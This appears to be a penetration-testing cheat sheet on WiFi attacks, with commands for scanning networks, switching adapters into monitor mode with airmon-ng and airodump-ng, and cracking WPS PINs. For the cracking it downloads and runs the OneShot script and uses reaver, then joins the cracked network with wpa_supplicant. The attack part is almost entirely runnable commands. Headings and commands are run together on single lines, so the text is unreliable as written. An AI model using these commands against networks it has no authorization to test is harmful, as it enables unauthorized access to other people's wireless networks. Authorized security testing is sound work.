14Other
WiFi
00 Basic
bash27 lines
## ------------------| Get all available interfacesiwconfigip link show
## ------------------| Scan all available wifisiwlist wlan0 scaniw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA"
## ------------------| Enable monitor modeairmon-ng start wlan0iwconfig wlan0 mode monitor
## ------------------| Enable managed modeairmon-ng stop wlan0moniwconfig wlan0mon mode managed
## ------------------| Start scan#### 5GHz (a)airodump-ng --band a wlan0mon#### 2.4GHz (b,g)airodump-ng wlan0mon
## ------------------| Start scan WPSairodump-ng wlan0mon --wps
## ------------------| Kill processesairmon-ng check kill01 WPS Attack
bash23 lines
## ------------------| Scann all wifi networksiwconfigiwlist scan
## ------------------| Fetch the BSIDiwconfig <inf> | sed -n 's/.*Access Point: \([0-9\:A-F]\{17\}\).*/\1/p'
## ------------------| Using OneShot (Python)#### Crackingwget https://raw.githubusercontent.com/kimocoder/OneShot/master/oneshot.pypython3 oneshot.py -i <i nterface>#### Connectingwpa_passphrase <SSID> <PASS> > /dev/shm/wpa.confwpa_supplicant -B -c /dev/shm/wpa.conf -i wlan0#### Cheking connectioniw dev wlan0 linkecho "unset new_routers" >> /etc/dhcp/dhclient-enter-hooks.d/no-default-routedhclient -vrm /etc/dhcp/dhclient-enter-hooks.d/no-default-route
## ------------------| Using reaver (C)## https://github.com/t6x/reaver-wps-fork-t6xreaver -i mon0 -b <BSID> -vv